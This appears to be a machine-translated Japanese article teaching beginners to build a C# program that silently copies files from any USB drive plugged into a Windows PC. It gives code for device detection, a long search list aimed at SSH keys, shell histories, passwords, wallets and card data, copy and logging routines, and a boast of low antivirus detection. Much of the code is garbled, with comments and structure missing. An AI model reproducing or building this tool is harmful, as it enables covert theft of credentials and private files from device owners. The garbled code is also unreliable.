WindowsのUSBドライブからデータを盗むプログラムを作成しています

チャレンジ:

インストールおよび管理者権限を必要としない、合法的に接続されたUSBデバイスからファイルを不正にコピーするソフトウェアを作成します。

つまり サイバー犯罪者が危害を加えるために使用できる法的ソフトウェア(ウイルス対策ツールのいずれかの解釈による)。

プログラム操作アルゴリズム

観客:

プログラミングの初心者で、興味があるだけです。



ソフトウェアを使用した攻撃者の例:



プログラムを作成します。

1. USBデバイスをキャッチする

WndProcメソッドのオーバーライド
protected override void WndProc(ref Message m)//  : base.WndProc(ref m); const int WM_DeviceChange = 0x219; //-   usb const int DBT_DEVICEARRIVAL = 0x8000; //  const int DBT_DEVICEREMOVECOMPLETE = 0x8004; //   if (m.Msg == WM_DeviceChange) Thread T = new Thread(_); if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL) T.Start();// usb  if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE) T.Abort();// usb 
      
      







2.検索用のファイル形式を選択します(個々の順序で-各ファイル形式が最初にコピーするファイルを決定するため)

たとえば、(listBox2)に記録されているファイルの種類:
*.ppk

*.pref

*.remmina

*.sh

*.txt

*.ml*

*access*.txt

*account*

*accs*.txt

*admin*.txt

*amazon*.txt

*authorized_keys*

*balance*.txt

*bash_history*

*billing*.txt

*btc*.txt*brute*

*c6ep*.txt

*cepep*

*codes*

*connect*

*contacts*.txt

*database*

*dedic*.txt

*dedik*.txt

*domain*.txt

*ftp*.txt

*hack*.txt

*host*.txt

*icq*.txt

*id_*sa*

*id_dsa*

*id_rsa*

*known_hosts*

*ksh_history*

*login*

*mail*.txt

*merchant*.txt

*money*

*myadmin*.txt

*mysql_history*

*nano_history*

*parol*

*pass*

*pentest*

*pgsql_history*

*pma*.txt

*pref*

*qwerty*

*rdp*.txt

*remmina*

*root*

*serv*.txt

*sh_history*

*srv*.txt

*todo*.txt

*userid*

*users*

*vds*.txt

*vpn*.txt

*vps*.txt

*vuln*.txt

*wallet*

*webmon*

*zsh_history*

**.txt

**

**

**

**.txt

**.txt

**

**.txt

**.txt

**

**.txt

**

**.txt

**.txt

**

**

**

**

**.txt

**.txt

**.txt

**.txt

**.txt

**

**.txt

**

**.txt

**

**

**

**.txt

**

**.txt

**

**.txt

**.txt

**.txt

**.txt

**.txt

**.txt

**

**.txt

**.txt

**.txt

**.txt

**

**

access.txt

adm.txt

all.txt

bill.txt

card.txt

cards.txt

cc.txt

centos.txt

data.txt

ded.txt

ftps.txt

full.txt

hdd.txt

host.txt

id.txt

info.txt

key.txt

linux.txt

mail.txt

mails.txt

pern*.txt

skype*.txt

sql*.txt

ssh*.txt

sys.txt

tconn.conf

toor.txt

ubuntu.txt

usb.txt

user.txt

virtual.txt

*.txt

*.txt

*.txt

**

*pass*

*pwd*

*login*

**

*vk.com*



**

*.xls*

*.doc*

*.rtf

*.JPG

*.jpeg

*.pgf

*.bmp

*.cr2

*config*

**

**









3. USBドライブ上のファイルを探しています

検索機能:
 private ArrayList F;//    private void _() Thread.Sleep(4000);//         foreach (var dInfo in DriveInfo.GetDrives()) if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable) for (int i = 0; i < listBox2.Items.Count; i++) { foreach (string file in Directory.GetFiles(@dInfo.Name, listBox2.Items[i].ToString(), SearchOption.AllDirectories)) F.Add(new FILEclass(file, Path.GetFileName(file))); }
      
      







5.接続されたUSBドライブからコンピューターにファイルをコピーします

コピー機能
 private void cheat() ... ... //    Directory.CreateDirectory("Liked " + DateTime.Now.Year + "." + DateTime.Now.Month + "." + DateTime.Now.Day); int copied = 0; int copy_err = 0; int exist = 0; for (int i = 0; i < F.Count; i++) { string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname)); string source = ((FILEclass)(F[i])).Fullname; string dest = Dir + @"\" + ((FILEclass)(F[i])).name; string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name); if (sourceName.Equals(destName)) if (File.Exists(source)) if (File.Exists(dest)) try { if (FileCompare(source, dest)) exist++; //    else//  -   File.Copy(source, Dir + @"\" + Timenow() + "s. " + ((FILEclass)(F[i])).name); copied++; } catch{copy_err++; }//   USB-  else { try File.Copy(source, dest); catch { copy_err++; } copied++; } else copy_err++; }
      
      





2つのファイルを比較する機能
  //https://support.microsoft.com/ru-ru/kb/320348 private bool FileCompare(string file1, string file2) int file1byte; int file2byte; FileStream fs1; FileStream fs2; if (file1 == file2) return true;//        fs1 = new FileStream(file1, FileMode.Open); fs2 = new FileStream(file2, FileMode.Open); if (fs1.Length != fs2.Length) fs1.Close(); fs2.Close(); return false; do { //  ,      file1byte = fs1.ReadByte(); file2byte = fs2.ReadByte(); } while ((file1byte == file2byte) && (file1byte != -1)); fs1.Close(); fs2.Close(); return ((file1byte - file2byte) == 0);
      
      





6.ロギング

ログを追加することにより、USBデバイス上のおおよそのフォルダー構造とコピー内容を簡単に確認できます。



 14.08.2015 21:25:13 =============================================   14.08.2015 21:25:17    14.08.2015 21:25:18   F:\123hack.txt 14.08.2015 21:25:18   F:\ \\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt 14.08.2015 21:25:18   F:\ \\App1\App1\obj\Debug\LanguageQualifiers.txt 14.08.2015 21:25:18   F:\ \\App1\App1\obj\Debug\ProjectArchitectures.txt 14.08.2015 21:25:18   F:\ \\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt 14.08.2015 21:25:18   F:\ \\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt 14.08.2015 21:25:18   F:\ \\genovirus\genovirus\Assets\AboutAssets.txt 14.08.2015 21:25:18   F:\ \\genovirus\genovirus\Resources\AboutResources.txt 14.08.2015 21:25:18   F:\ \\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt 14.08.2015 21:25:18   F:\ \\TheGenoVirus\TheGenoVirus\obj\Debug
      
      





7.外付けHDDからのデータのコピーは「宿題」として残されます



結論:

リムーバブルUSBデバイスに機密情報を保存したり、信頼できないデバイスに接続したりしないでください。



ソースコードとリリース



www.virustotal.com:1/56 (ウイルス対策「VBA32」では「Trojan.MSIL.gen.11」と定義されています)。



All Articles